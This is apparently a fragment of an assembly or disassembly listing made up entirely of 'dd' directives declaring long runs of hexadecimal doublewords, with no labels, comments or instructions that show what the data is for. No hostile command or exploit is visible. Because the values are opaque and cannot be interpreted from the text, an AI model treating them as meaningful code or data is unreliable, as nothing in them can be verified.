		dd 0F0DD8501h, 0EFB45F9Ch, 45F18B1Eh, 2D3958F8h, 0CE008FB8h
		dd 306EB0F8h, 0ED88060h, 35958B12h, 5348D915h, 0CC1FB516h
		dd 0CD8A432Bh, 0D227E0E3h, 149283BEh, 5BB90D40h, 237ABF07h
		dd 2DC8BC00h, 0BB8DD50Bh, 0B72756B6h, 4C01626h,	180BB12Dh
		dd 0B62C1DFEh, 47C46478h, 21259529h, 126254B2h,	440B16A9h
		dd 6FA64544h, 0ED008BEDh, 573E7FD5h, 0B102E5A1h, 0DE090B81h
		dd 0C4ECCD3Bh, 69716214h, 5B001D2Ah, 5F1FBE66h,	0B7A72B92h
		dd 6A0E006Dh, 95892D57h, 0B418C920h, 0A65AC94Ah, 77CB797h
		dd 406A72ACh, 393AD7E3h, 57E9FA2Fh, 0AF801694h,	0D082212Dh
		dd 0C9BF1654h, 0E853D2C3h, 2E00CEF9h, 0F26C1F56h, 525E0D9h
		dd 529341D0h, 0F7A2C3E4h, 705EB681h, 650444A7h,	85C72B34h
		dd 3707CFB9h, 7F3E40D5h, 13144545h, 0C4519B39h,	9A83ACBEh
		dd 0CE7E0B53h, 3167E563h, 0BE023E91h, 5F3DE4B1h, 2460F9DFh
		dd 8110B9Eh, 2AE1B65h, 99CB04D6h, 81CAA2F6h, 2A159D1Bh
		dd 0EF56CA73h, 0ACB47574h, 2CD97EBFh, 0CD267359h, 226E93Eh
		dd 80C690h, 92CF2037h, 4E1BC64Fh, 98945D03h, 0D217E463h
		dd 5B90275h, 0F8535E00h, 41B51A29h, 1B711307h, 0AE89FCB4h
		dd 51053768h, 138F0F0Dh, 0CF00111h, 2A7114ECh, 967BF16Eh
		dd 664CDC03h, 2BE91015h, 6E3FBE01h, 52510AC4h, 502018E0h
		dd 542D8D09h, 260A722h,	97BED181h, 4AC314FCh, 5E80BFB8h
		dd 613B9814h, 8C17B863h, 0C5F90500h, 85A9BFCDh,	0FE3E5BBEh
		dd 247BD96Bh, 1610A7Fh,	0F2C4C95h, 1E043EB7h, 82172335h
		dd 0CA9016C9h, 3D167ADEh, 0FF8595E9h, 0EFBD1E0Dh, 1136C1D9h
		dd 30CD79F0h, 0B0DD3B01h, 578C565Dh, 0BD6DE20h,	5E6E1476h
		dd 0BE5BF742h, 2636BBD8h, 7693A376h, 0DB161546h, 68E78D85h
		dd 0B9558079h, 21B98DCh, 41AD0428h, 934C95C6h, 3250C906h
		dd 0A6B57Fh, 2A05669Ah,	6A21E4A5h, 58E2904Ch, 235E255Bh
		dd 0E461DE5Bh, 6DB89DE9h, 0A42A5A3Fh, 9116BF27h, 0DBAF6F57h
		dd 598FC0A3h, 0B346C09h, 0FE295C82h, 0DDF5EA5Fh, 0C83E4AF9h
		dd 11492D07h, 9940F9FCh, 0F3E61268h, 3C803A38h,	7AD82DAFh
		dd 730CBB00h, 0F1392302h, 0BF73996h, 0BFEE626h,	446A4B63h
		dd 69E0DFCDh, 0B8DCB97h, 5DCE9A61h, 0C058F864h,	0B28E03A5h
		dd 902E9ECBh, 22AE61Bh,	0EECDF718h, 0B25114D9h,	918E27BBh
		dd 52C45028h, 0B8F1768Bh, 24042538h, 88C0ADEDh,	2B06DFCh
		dd 270F81CDh, 7D43F8AAh, 11D3B9A8h, 25B53316h, 0DB9C85FFh
		dd 2B8EDEE8h, 1AD7807Eh, 5B343835h, 0AE40FA2Eh,	48625408h
		dd 21B901F0h, 7656E725h, 2C6CA483h, 73E500DEh, 33965505h
		dd 890BD417h, 0CE1C75BDh, 70F6B500h, 8E18BF61h,	1BAC0479h
		dd 2B0B008Ch, 0C2CEB977h, 5704A365h, 1A61B589h,	0ADD3C3B4h
		dd 2C2D606Ch, 140BFDF0h, 0C6FEF42Eh, 0F88B0B1Eh, 0F76763E9h
		dd 26127208h, 0AF4CDE5Bh, 8DCF0BBEh, 9112C7ACh,	332F4E8Ah
		dd 520B1923h, 0F8C0D782h, 892FBD0Bh, 84331318h,	11B233Eh
		dd 0E1CF4535h, 0D132A96h, 15B296F6h, 0BCE5230h,	3261BD09h
		dd 0C1E6D5h, 4D6739D1h,	0DEDB30ADh, 0B4515503h,	90B52220h
		dd 5EF594F8h, 0EE56564Ch, 47A94BC4h, 645A2DB8h,	297288h
		dd 0A638574Fh, 0C3B5112h, 0BC50F300h, 5AD161B2h, 5EE27506h
		dd 175C04A1h, 2E313210h, 0F96887C9h, 675EE9F9h,	6E01A67Bh
		dd 31A92155h, 119C5B5h,	7CAD85C7h, 33E96598h, 0F4E5DCB7h
		dd 52B5C239h, 0BF89702Dh, 1381F88Bh, 4B992987h,	2992F4EAh
		dd 58F753F7h, 0BF05A636h, 55D14C56h, 9E853A84h,	0FA501DB7h
		dd 2D349449h, 0C0ED0089h, 0E546F5CBh, 0D5A6590h, 8819759Ch
		dd 4204B5BEh, 0FE8B06D7h, 8100F6B3h, 9057E1D6h,	19B2502Fh
		dd 0E9F28B0Bh, 60A06F38h, 7C09C9E2h, 4A89AD13h,	2DEF1301h
		dd 9039B0E5h, 0E62508BCh, 0C080ED70h, 7CEBEDEEh, 338B704h
		dd 0F4C801B5h, 0E411E18Ah, 0FDDA4171h, 97D73C03h, 281E846Eh
		dd 0BA2757ECh, 77BDF5CCh, 0EEBA814Dh, 2F61276h,	0AF9DBFA4h
		dd 0D43E39h, 0F7D0044Bh, 0CB39F4F1h, 4200F0B8h,	335730D9h
		dd 9CED9D89h, 0F224E7h,	79C64E8Ah, 912D82Bh, 89C275B5h
		dd 0B05ED850h, 0BD3DBA45h, 647AFCD6h, 0B514B11h, 7E292FFCh
		dd 0C8C5EA46h, 8F7AB0F8h, 85892C04h, 442AE15Dh,	6FEE161Bh
		dd 0F37A0084h, 0DD3B2E6h, 3A162D28h, 41A815A4h,	19398501h
		dd 6A4E1A27h, 0D5010E77h, 8BFCDA3Bh, 5DEFDF10h,	19471040h
		dd 3AE30978h, 55E0BB3Dh, 7DEB0FF7h, 40BB5B35h, 0DBD7CAF8h
		dd 0E01F7A47h, 0C112F522h, 0B5232945h, 3ACBF911h, 936E5AF7h
		dd 6116B103h, 3B808F8Dh, 0B3E2C681h, 271E0B24h,	19BD2902h
		dd 0CA20C05h, 85B1598Ah
		dd 0D2099589h, 0BAFB5869h, 1FBDF070h, 8AC466FBh, 2EE9DCh
		dd 0C2842DE3h, 8CC54EF3h, 3BB31B45h, 7E0BB32Eh,	0AC011446h
		dd 33BE66F8h, 9E376C22h, 1C47CC00h, 95C18355h, 0DD872337h
		dd 0F4501591h, 5B0F82DBh, 69F19981h, 0C352301Dh, 4BA59531h
		dd 7172D211h, 8C8B665Ch, 70E0D3D9h, 782CA008h, 762438D0h
		dd 0B0E29C2h, 0EB002659h, 3D8CBBFAh, 4B6E2D2Dh,	0AEBC5591h
		dd 0E0DEEB20h, 59920269h, 0F31C3436h, 3539E361h, 0AF6B6E4Fh
		dd 0DB001923h, 9CF6EBEFh, 0E2DEB064h, 7A5B8114h, 7B00D4FDh
		dd 3A1CED59h, 0A0F66590h, 0DEC32B24h, 0BBC100DEh, 0FE63EACDh
		dd 79B6E399h, 0E94727C4h, 0E6160E68h, 2937F129h, 0B60EB930h
		dd 105B6932h, 500F8550h, 8A20E25Bh, 534072FEh, 17DDA0h
		dd 0DCC150CEh, 0E822F8C0h, 0B1019BA4h, 4D6EB782h, 99D742AEh
		dd 0AB6D5F5Eh, 0E5950104h, 2B10A522h, 0B5BFF441h, 1A3D3B7Eh
		dd 0C63F68B8h, 420B805Eh, 0E89EB7B2h, 64B88B0Dh, 0E400ADB9h
		dd 0F02847A9h, 27B436D9h, 4B10602Fh, 7A00FED2h,	0FF968961h
		dd 7BE2CBC6h, 0B70F1FF4h, 0C0C233CAh, 14958DF8h, 369F349Dh
		dd 3A533A85h, 9D09F105h, 0B1B22151h, 0A0AEB6D3h, 5F5B0AE7h
		dd 0A26AA1Bh, 0C2D2D0Ch, 0B5AD7FE5h, 662F01F8h,	66E54FBFh
		dd 0FA743DEh, 0C0F415B2h, 3A827294h, 0EDC20106h, 0BD23DE17h
		dd 4812885h, 0E8FC905Fh, 1E3C12C8h, 845B7574h, 0EC5CEFF6h
		dd 905F26F4h, 0A95601DEh, 67F41DB1h, 0C57F305Eh, 658648EFh
		dd 0A0B285D3h, 0A95A2207h, 0A19E80ADh, 2972176Eh, 0DD507A03h
		dd 0C03FA587h, 5816C8Fh, 0CFF4BDC7h, 239F3A0Ch,	3F920F15h
		dd 8E90D7A0h, 2B150F32h, 5EC815BDh, 65FD820h, 0D25C3F5Dh
		dd 4C109401h, 6DEE9859h, 16CBCACh, 2A1658A2h, 2EB17468h
		dd 0C0036220h, 21A600D9h, 4731F214h, 9A5029E0h,	2B407594h
		dd 0D18107BFh, 605F4EC6h, 0A3341B9h, 6F2E3B94h,	15CB3F6Fh
		dd 7001D3DFh, 6600DFCAh, 0DCF81A30h, 0B6A2E929h, 0CDBF0EEAh
		dd 8B6FD0E1h, 0A6E3EC1h, 0B265E539h, 4ADDB3F2h,	2617F86Eh
		dd 9BA2F7h, 21E7549h, 7274B60h,	587A4F16h, 81A1343Eh, 31F5F6F1h
		dd 1684C70Bh, 0F079DA8Dh, 0BBA0B0B8h, 89801FD5h, 16614B85h
		dd 0DF84886Ch, 0B4D94E01h, 505DF728h, 4500D023h, 77062954h
		dd 1202BF2Ah, 11D81A10h, 1E766618h, 4077D4F1h, 9C53D2BAh
		dd 0A0278913h, 41B94A73h, 2934F15Ah, 0A537BD6Ah, 0C6273B81h
		dd 44A713A3h, 61C076CDh, 58DCFA1h, 5599F81Dh, 0EB00F32h
		dd 0E605E605h, 6E00E758h, 90568840h, 81EF2D69h,	0FEDFA89h
		dd 0F0A187C2h, 6BFA4CA2h, 9061D00Bh, 4E6E9718h,	0C2BCC0FBh
		dd 979DFB02h, 0D45EEDDFh, 90FE09C5h, 637CB40Dh,	14D6003Ch
		dd 0C6054A49h, 697E3111h, 2BF88B20h, 6A2E0BDDh,	0CA3805E9h
		dd 0EE87D7FCh, 0BE6683E8h, 8CD3CE49h, 8CB61370h, 39BD8960h
		dd 0EFC69521h, 2A35B7h,	97AD6AFCh, 3AB55EAFh, 50BBD383h
		dd 4102107Fh, 4605CAD3h, 8ED162h, 89BD5E51h, 0D500FB3Ah
		dd 4E66957Dh, 0F654E5C2h, 6FA70163h, 0BD33AE56h, 3A3C6CE9h
		dd 9C9EAD5Eh, 1D1821A6h, 4C58612Bh, 0D57E07E5h,	0F5B87382h
		dd 27E2BFBDh, 61A56038h, 908622C0h, 0F2B86CEDh,	0BF575864h
		dd 0B60707B7h, 0D2400B13h, 835CEA2h, 0AE9F094h,	0C1BAC80h
		dd 0E4E7D3h, 76FDCA9Bh,	15559D8Bh, 6EFFE25Eh, 64611716h
		dd 10099A2h, 0E17BEC6Ch, 1E0E448Ah, 814DDE83h, 0E938202Ah
		dd 0F84A1440h, 0B4F5006Ch, 942FA464h, 0D9380862h, 5E75961Eh
		dd 5B57E8CCh, 8FAF485Fh, 8396CAA4h, 641AE40Bh, 0E92E447Bh
		dd 0A5AFA770h, 9141DE61h, 404298C7h, 0F78E269Ch, 0C7B50E24h
		dd 2D3B852Ah, 0EDFD782Bh, 6768603Ch, 0A5023C32h, 5911FB06h
		dd 3A7E6ABh, 0C376969Eh, 0EA8E68Fh, 0C6048160h,	30BABE4Bh
		dd 61C22CC1h, 0BE316A20h, 35EF4277h, 3F845193h,	17041523h
		dd 10C4890Eh, 468D4792h, 2D95F818h, 92B91B51h, 22FDF029h
		dd 0B58B1F86h, 70B12DA1h, 4D6BA53Fh, 0AF20C39Dh, 7352584Fh
		dd 0DD2E6F05h, 71A1AB82h, 0DB054920h, 0BE93B4F2h, 839C0702h
		dd 6A17E92Bh, 35E3C191h, 0FB007E6h, 98F9FB4h, 0CDDE0320h
		dd 601D70E6h, 90E7E080h, 0F4134542h, 0D9F605EEh, 0F671E461h
		dd 0A7CFE06Bh, 0D2AF2E9Bh, 8B860538h, 2B4BA1F1h, 2DC9A213h
		dd 5569C3F5h, 0FAA9C4BDh, 2E69605Ch, 6145FC85h,	1AD2FCCh
		dd 0F2CEA99Dh, 0DCCB8713h, 6D2539A7h, 6F120Bh, 73D21AE7h
		dd 0AB930088h, 0DBDEA94Dh, 40B45F7Ch, 1400372Dh, 2B16E529h
		dd 605A8016h, 8D9E8F0Fh, 0DCCCC365h, 62530778h,	508C51DDh
		dd 760F6A56h, 0DA97A00h, 89D82B61h, 1C552DB5h, 67FB779Ah
		dd 4998670h, 0E75E3B1Bh, 1E9EA851h, 9A251E40h, 0C1A27CC8h
		dd 0A334595h, 0BA855250h, 6FB05FBDh, 0AE8C3892h, 0BCA64BBCh
		dd 0E7843126h, 5485A8D7h, 65E19AA6h, 0C01ECC77h, 75522A0Ch
		dd 5031AEE9h, 5AE15D0Eh, 763FCD24h, 0D5FCA2BEh,	30FB3163h
		dd 11B5571Ah, 45D1D20Dh, 2280564Ch, 0E9203691h,	4FF17D49h
		dd 1988C59Ah, 5BA5ABC0h, 1EBA014Ch, 0FBEF3FBFh,	0B6A84459h
		dd 0BCE8E0DDh, 9ED096Ah, 9278DD8Dh, 0B8FB87AAh,	97B6270h
		dd 0FA8B094Fh, 0AC578825h, 226E4B4Bh, 43054900h, 13955837h
		dd 1EB61048h, 8B0B1251h, 8E9A69F2h, 8038FC14h, 0A485B9CCh
		dd 633B12AEh, 0EC7B0099h, 0DB0591EDh, 4E90DD09h, 1D0F05C4h
		dd 985ECD49h, 16C23EA0h, 0C904AAF5h, 0E40044A2h, 0C15F836Eh
		dd 9B2D186Fh, 0FA3394A5h, 0FB5B92F6h, 0BDC95935h, 1556A30h
		dd 0A4EC67A2h, 6C5E39F7h, 0F0D346A3h, 53C5C47h,	0DD8529AFh
		dd 0BD8F880Ah, 0EB623FEDh, 5BD55DEh, 0E0740982h, 0B15EC35Ch
		dd 0DBE66DB5h, 18147994h, 0F5B14CEh, 0BF80D98Ah, 79FFA915h
		dd 37BF2B7Fh, 0B6580405h, 2B93C0F4h, 35B6B87h, 76588762h
		dd 0B500F6BDh, 69AD5CE6h, 0B705BD89h, 0EEE91605h, 8F36CAE1h
		dd 0CE9F91F0h, 7DF2484Ah, 705BA90Eh, 39DC1209h,	0C0CB5E1Ch
		dd 577562F9h, 31806EB7h, 4EBED7B7h, 321B188Ah, 0F5F35EC8h
		dd 0AE95DEB8h, 0EF77E265h, 11919D1Fh, 62A2811Ch, 639BB56h
		dd 0A94EE04Ah, 39292640h, 4CC1C58Dh, 0DB0D12D5h, 0E6658070h
		dd 0CB6E7Ah, 642B7AE8h,	135121ADh, 4844568h, 0ABE9C434h
		dd 31C51704h, 5DAF8F56h, 0BCC349E4h, 22E21261h,	46B9C1EFh
		dd 0DECA6CB2h, 0DAEEBFC5h, 5AA9CBCh, 83D80CB2h,	2C6D4981h
		dd 5084F462h, 0E7F260h,	0AFF27224h, 0BBAC803h, 905E61F9h
		dd 8F711D53h, 5A04203Fh, 7900F088h, 5D1C9E89h, 7A7D3CAAh
		dd 1E870136h, 0F5F88B7Ch, 22042B5Eh, 81400882h,	553F42D6h
		dd 510B6C9Eh, 52F62953h, 0C1BE0E1Ah, 0DB335F52h, 4DCFC0ECh
		dd 13088F05h, 48859DCh,	12180191h, 83130208h, 10D59D89h
		dd 7851913h, 0F88991E2h, 372D59F4h, 0C01C004Dh,	9159938h
		dd 0F0BF071h, 7152F8B7h, 0DB970000h, 0C0F71507h, 0BB11CD00h
		dd 4DA6BDFDh, 5F90A176h, 50911D20h, 258DCF21h, 924C297Dh
		dd 0AFC76800h, 3BE0694Eh, 850112ADh, 0F8D1BCC1h, 0A21F8C16h
		dd 0E6803198h, 0DF1B665h, 0C892D0Fh, 310574C5h,	21B4BD9Dh
		dd 25BBB68Dh, 0E3707A53h, 96F3062Ah, 0F67C6CB1h, 81B43639h
		dd 252948B8h, 2630C18Bh, 0B2044F1Dh, 4A8688D2h,	25EB21F6h
		dd 50C945EDh, 8F950BF7h, 0BB6E2218h, 166B595h, 0CA1BC29Ch
		dd 0BEF7F87Dh
		dd 0CF40290Eh, 7166A00Dh, 0C390058Ch, 5061E7F0h, 0C57D55A0h
		dd 0A49E517Bh, 32F19D40h, 0A40B0156h, 7A6346E4h, 6EAA2A6Ah
		dd 0D86800AAh, 298E516Fh, 1F912895h, 0F363976Fh, 2780F40Fh
		dd 0F9566AE6h, 1EF81C0h, 449724F7h, 0F050824Eh,	81FCC083h
		dd 0BB2FFD88h, 8231457Ah, 1104BEE2h, 844AE350h,	0B52B045Fh
		dd 434CB1ADh, 309D5528h, 0AFF681DEh, 1710740Fh,	0AEDB535Fh
		dd 46D7CFC0h, 0BE0F92ACh, 407BA643h, 6ECEE81h, 98544E34h
		dd 9527B5BCh, 97F2EE0Ah, 0EB14182h, 0C442Bh, 9EBC5CC7h
		dd 0C6B7EA59h, 2B15B300h, 0F7B93E09h, 0A42F1A34h, 0A7E34C8h
		dd 63C7DFEBh, 0EED8B1E0h, 0E3A8027Eh, 60D3FFEAh, 9748AE82h
		dd 18510AC0h, 0C8BC6181h, 0A62DC5CFh, 301CB28Bh, 4760B113h
		dd 405A636Ch, 596EC4C4h, 0C6E90511h, 8A8472B3h,	59301227h
		dd 416101Eh, 8B2923B2h,	81738CC6h, 73A7B700h, 2D06AFCFh
		dd 3CCA5B89h, 0B686845Bh, 2C00D419h, 0E366E0DEh, 2F9D8B88h
		dd 656F04C1h, 92728A69h, 782BE760h, 0B6507621h,	636DA72Ah
		dd 44B453E5h, 9B6F9FCCh, 32C14E60h, 0E1109506h,	2C006962h
		dd 37F50ACh, 34D26898h,	824A0EE9h, 83000A7Ah, 0B625BBBDh
		dd 413D4578h, 4130D674h, 7EFF3116h, 0FE004F7Bh,	0EC9E1995h
		dd 23E7472Dh, 723E0Ah, 3EF43FDh, 14E08388h, 4A85C755h
		dd 6F2FAE45h, 0AE9B1C88h, 0A68E002h, 16F1C6h, 4CF2282h
		dd 0E7070E2Ah, 0D82BDEB9h, 6AC13F17h, 376316E9h, 42089D10h
		dd 2699704Bh, 0E0A5A992h, 29AE3444h, 0C0991B0Dh, 0F10D72E1h
		dd 0A5A91602h, 9B7BC4A1h, 9BDC02Ah, 2DBB3CE8h, 9791CABEh
		dd 3081145Ch, 0DA28C883h, 43E44F80h, 49CF144h, 0F58D0961h
		dd 95901C24h, 6B625B6Ah, 9F00EB59h, 6AC7FDB5h, 7C800C6h
		dd 446DA8B8h, 0D0FD676Bh, 4E4BA91Dh, 0DDB188h, 5C1B1CDCh
		dd 6CA522B0h, 4D41000h,	0B7A1F999h, 0E5D63647h,	90972E8h
		dd 0D6332595h, 85EC95BCh, 1927DD48h, 0B0707F58h, 0FC78829Bh
		dd 98760F7Dh, 4E272AA5h, 70E69227h, 0CDCFA7Eh, 0AAB65627h
		dd 719A999Ch, 4271E426h, 161F5ADEh, 0FA6F5Bh, 0BF554FF7h
		dd 12F169DFh, 0E306BA38h, 3016E275h, 5307D732h,	8BF1BF0Fh
		dd 6D850181h, 3A57CD3Bh, 7E2F48C2h, 442F4D15h, 206EBAB4h
		dd 0A61EF101h, 70C4E928h, 93EE804Dh, 8AAD5072h,	21E551E1h
		dd 2680B978h, 900B02CBh, 6B22C4Fh, 7C00D6A8h, 2C6BFB70h
		dd 21BD2936h, 0E4A0569h, 0B03C272Dh, 6054B20Bh,	821C9DC0h
		dd 0DEFE438Ah, 920BB8F6h, 803EC072h, 0A968B38Fh, 7291BD15h
		dd 0FCF8FBD4h, 0CC003D65h, 1A995766h, 9483CA7h,	5EB6DF9Ah
		dd 66FF5C0Bh, 8AF059C1h, 15BD0382h, 967716EAh, 0D4F996FCh
		dd 8CA4B301h, 0AE17BDB4h, 774D5BFCh, 23112D09h,	33A1AD44h
		dd 12F22D0Dh, 6D37F7B7h, 3C59DE1h, 4DC3B452h, 0E71BE0E3h
		dd 5B0083Ch, 0B219312Dh, 50605BBFh, 6C01EED6h, 0A13AAF93h
		dd 0C48954B2h, 951A1C49h, 21F9AC41h, 89FED095h,	1EEDBD24h
		dd 0D2305893h, 2D9EC761h, 0B2A443F2h, 0A9885765h, 7F7C00F3h
		dd 920A2C9Fh, 0F80BDFFCh, 6A94E22Bh, 0D0377F9Bh, 811A885h
		dd 3801B3B0h, 0E3CA259Dh, 8D1F354Eh, 0F6B5710Eh, 6A5E2BA6h
		dd 0D83F7D4Dh, 0BFDF00EBh, 605B0C03h, 0C8114AB0h, 85001B6Eh
		dd 0E4836CBEh, 272BC337h, 0A182659Dh, 99D96159h, 0DF4CAF11h
		dd 0A6459F7Ch, 30025B13h, 472BD874h, 601B641Ch,	721D3A6h
		dd 660983BFh, 0EE81200Ah, 59B66005h, 7BAA69C5h,	6D81609h
		dd 4EABBE30h, 3F300ADh,	0BDDD566Ch, 5F396A46h, 9EC63F88h
		dd 0F6F25CF6h, 0D9D7AF39h, 3D6590Eh, 8F4B44E9h,	2700F26Eh
		dd 0D753BB3Fh, 8B2F9F2Ah, 7CB5FFC0h, 6BAEDC8Eh,	44896D07h
		dd 0C23F601Ah, 0ED6E62Ch, 0DABF3E8Dh, 0AB7891E4h, 2C15F608h
		dd 3F6825EBh, 5725D73Fh, 70BBDB16h, 0EA04AD8Fh,	9E93243h
		dd 6DE19440h, 4E0AF783h, 8BD50A81h, 0D1BD2302h,	0D906D409h
		dd 2B5BC24Bh, 95FCE2D0h, 1B64CBCDh, 66DDE960h, 8B94860Fh
		dd 1ABCF203h, 13542416h, 0F814E990h, 0BFCF0083h, 81F9A6E1h
		dd 8D0C14E6h, 66507687h, 0A5ED13F6h, 0D30AED5Eh, 0BD80869Ah
		dd 0E46FE55Fh, 0F5858908h, 3190022Bh, 10567195h, 0A230FC12h
		dd 0BC92CAh, 0DB904F4h,	58949DA6h, 22F9C81Dh, 0D58B775Dh
		dd 0C12E023Ch, 5FFE2210h, 379F24D8h, 0CFE00042h, 17C6B960h
		dd 84BD1CE4h, 610B04DEh, 583D0487h, 0E6098E20h,	0D0F9F052h
		dd 0C2379758h, 86BC6016h, 0E341C93Fh, 2E8E502Ch, 3AE1684Ch
		dd 0D901D252h, 4CEAB72Fh, 2D587461h, 0B2F7E983h, 0B322ECE0h
		dd 0E1F978AEh, 0F5F41817h, 7EBC4730h, 5F56006Eh, 0D8D18FC4h
		dd 0B6241B8Eh, 590B0E25h, 0F18E0B64h, 656100A5h, 2A931940h
		dd 823C300h, 7CFB0390h,	53B13F27h, 5F852EFCh, 8B07DE9Fh
		dd 188A0DD5h, 40FF4B76h, 892D0F07h, 9721DB27h, 0E7B0F2FFh
		dd 58D15F95h, 0BA8515Eh, 24F87821h, 1B45356h, 5D2A499Dh
		dd 40E9C45Fh, 0E28BFB6h, 5E0A6120h, 226BFB60h, 9D50824Ah
		dd 0A961EF42h, 0FAB53080h, 591CB94Eh, 703553A5h, 0BE00F061h
		dd 2A95BC23h, 1321F38Bh, 0B91BF58Dh, 7F18DA9Dh,	0D284B92Ch
		dd 8BFF1014h, 0EEE65B17h, 8F01EFF0h, 76E5D407h,	0F71E183h
		dd 6B673485h, 2E12E6E4h, 0E16EC152h, 4C705737h,	1D9DB941h
		dd 8B2A153Ch, 55A66Fh, 49857C21h, 836471F9h, 69185C00h
		dd 0D619DDDAh, 2DCB15F7h, 0B245BFCh, 52EE60C6h,	1CB02943h
		dd 4B611840h, 8FD89B60h, 2C06E04Ch, 53817703h, 0A658FB91h
		dd 9CBD83C0h, 0E10BA755h, 848BB97Eh, 0DF50248Fh, 5B20B55Bh
		dd 6255C1FDh, 0DC84657Fh, 0A17B47DEh, 6055B483h, 0C53FA5E5h
		dd 0DA1AB1D4h, 0D5663CA7h, 2A9732C6h, 66D86873h, 0F0114895h
		dd 298B114Ch, 0D34A0C89h, 0D6304828h, 33271E19h, 0E6CDC6EEh
		dd 20065C52h, 1A799D8Bh, 87FCEEA4h, 0CA4539B6h,	9855781h
		dd 44E9D74Ch, 0C1005412h, 383B2DF8h, 1922E4Ah, 0C919E658h
		dd 0E17B27D6h, 1EAA4743h, 0E8AFA976h, 0D2FB0209h, 15BD9529h
		dd 0C3DED492h, 0B912AFA6h, 9F8B90C2h, 80199136h, 238F26EDh
		dd 96025274h, 0AFBDD2DDh, 0AA8BFCA0h, 0C152442h, 0E2B2AA52h
		dd 5528D5Ah, 814EDBB1h,	1A5F6C5Ah, 0BF314360h, 9EA483FCh
		dd 50FC53E9h, 0D901EA03h, 0E890BB08h, 0AF576ADAh, 19BD480Bh
		dd 2FBBA423h, 683D1555h, 699B5915h, 7096F35Dh, 0B8A66057h
		dd 0CDF629BDh, 0AF3C2C5h, 0A0FEFF61h, 6F936E98h, 246E778h
		dd 6F61A8BCh, 905D81E0h, 282F1A5h, 896B8677h, 0F8792148h
		dd 0F21EE585h, 4CA9E3FEh, 9407258h, 1376A95Eh, 8019F814h
		dd 0C18E5E70h, 7D2D3872h, 21538D81h, 21B4753Fh,	0DF825B35h
		dd 6F746E81h, 1170377Dh, 85C725C6h, 63B716BAh, 6B366682h
		dd 0D73AE0D9h, 0DC339661h, 1FBFB800h, 0EB57C6A7h, 9D611C07h
		dd 6D32DE9h, 3DBBFD8h, 585FBA6Fh, 7AB01B2Dh, 892D8501h
		dd 0D021530Ah, 1A5CE398h, 0C15109Eh, 0BAC18B0Eh, 2308F007h
		dd 3178EA81h, 14C28313h, 0B65EF8C4h, 397F97Fh, 0CAE63515h
		dd 771FD50h, 258991BBh,	5E85070h, 0C22B3158h, 0C6FFF01Ah
		dd 4D3801C0h, 8CBB5A4Ah, 5003B744h, 81D0033Ch, 5F45B33Ah
		dd 254BAF19h, 0D060F72Dh, 359AD9E9h, 0BCC88B26h, 0A830B72Ch
		dd 0CC3C4003h, 3DC2064Fh, 3EEF146Fh, 181112B1h,	5BF8A607h
		dd 30C1CC3h, 99201BD1h
		dd 0A0DD4D0Eh, 1041157Bh, 0A5ABB87Fh, 50516F8Ch, 1410EC8Bh
		dd 14B0A981h, 3359B560h, 5EBFC3C0h, 0FF24E57Ah,	470158F7h
		dd 9AA7D268h, 16A101D4h, 7A216108h, 23FF2FE5h, 2732A94Fh
		dd 6444D3EBh, 92E1F307h, 25F16681h, 1EE0C7CAh, 0D38F0556h
		dd 0E90D78h, 5AF80815h,	0A1F1D57h, 9DC0C379h, 0CC71D186h
		dd 0B49C7E1Ah, 59E140ABh, 3F00B1DBh, 0E7BBF3C5h, 1F36679Ch
		dd 93C2817Ah, 334A46Fh,	0F713F1A6h, 1B37FF2Bh, 0A5ACD70h
		dd 570D0050h, 1ACF3866h, 310086FDh, 0B43A1C8Bh,	3F381D6h
		dd 3EDCC2FAh, 0C3C182B1h, 5A23E025h, 2CF8B3Ch, 998A02EBh
		dd 97987F4Eh, 0A50353F1h, 5EA66C33h, 57DDF0E4h,	26A006F6h
		dd 94B464C4h, 9158D926h, 0E9900E60h, 266800DCh,	0C615749Ch
		dd 0DAE43421h, 0D7A22500h, 53615A43h, 66D60181h, 8F0E75ABh
		dd 805A2004h, 58F7E101h, 0EF8159B4h, 632B0AE8h,	36C7A746h
		dd 8EFC113Fh, 7D91C8FFh, 35118424h, 0DED36038h,	0BCD6FC00h
		dd 0F3A513D8h, 672B9B00h, 0F00E3DDFh, 58622FCFh, 9D61DCC1h
		dd 0E90CDA08h, 713D29h,	0D93A7796h, 63EF2378h, 10042D0Bh
		dd 6F09821Ch, 1F364E8h,	0B022FD5Eh, 0DCFCC1C8h,	0AF923EE9h
		dd 8FF4E500h, 0B1487981h, 0AAF000C7h, 0A9093F7Bh, 250027CAh
		dd 93CC8912h, 331B261Eh, 1908668Ah, 89F42172h, 6FBF7D00h
		dd 0B08B6741h, 0BCEC71h, 0B3604955h, 518E848h, 9AC33600h
		dd 4532A747h, 56A9060Fh, 3815D50Ch, 0C6724200h,	47220527h
		dd 8B3B01C0h, 0ACA790C4h, 0A80FDC99h, 0E2C2F601h, 1D188F25h
		dd 0F9272081h, 4FCA7A51h, 9A831120h, 0C9CA3C80h, 0C0C0A572h
		dd 5A6C4905h, 562303E4h, 62A0EFBh, 21530830h, 5A7467h
		dd 768C60D3h, 24590285h, 291B8E18h, 534107C8h, 1CA29C2Eh
		dd 3BC9D30h, 47F49170h,	50012003h, 0ABD8BDCh, 5C9E21Ah
		dd 0E5B00703h, 0D6069C70h, 0CEA4C646h, 21086008h, 10E5DBE4h
		dd 0DF938C00h, 0A768F6CCh, 136420E2h, 0C01950C8h, 9C73E5DDh
		dd 222CE46h, 0E5DAE700h, 3C690FD8h, 0C4913207h,	0F1200B90h
		dd 70B8D7h, 8756374Dh, 0E2B08ED4h, 13361401h, 7DAF2260h
		dd 0B43B9D4h, 0EAC12DA6h, 0A83908h, 14B050A9h, 4B1D7DC9h
		dd 0BBC0F270h, 9C6B03AFh, 33BF288Fh, 56CAF084h,	7302D4D4h
		dd 7E23E35Ah, 6A105531h, 0D0045A7Bh, 212CBF23h,	92160081h
		dd 8D582040h, 7172185Fh, 3E8110C3h, 0A06B91C0h,	148AC93h
		dd 2547EBE1h, 60F3B8A7h, 173160FFh, 3B87986Dh, 8097A200h
		dd 3F601063h, 0F302C41Ah, 4C78AAh, 0CD891304h, 1E621693h
		dd 0BF80CB25h, 90AD562h, 745B6843h, 23EA9400h, 25614C47h
		dd 67BF9C60h, 0F1817986h, 6006B01Fh, 0C682DB27h, 0CD2A00C1h
		dd 0CB430C49h, 4B7FA52Eh, 212F08CCh, 49D52608h,	0C38300A5h
		dd 0FEADEA6h, 0B95F561Eh, 0E3F59180h, 486B2793h, 60641CFAh
		dd 49CC60DAh, 0D3432313h, 0B003711h, 457949D4h,	5330979Ch
		dd 4658B024h, 3CCA8016h, 0BCF91060h, 5BFAACDh, 203BDD99h
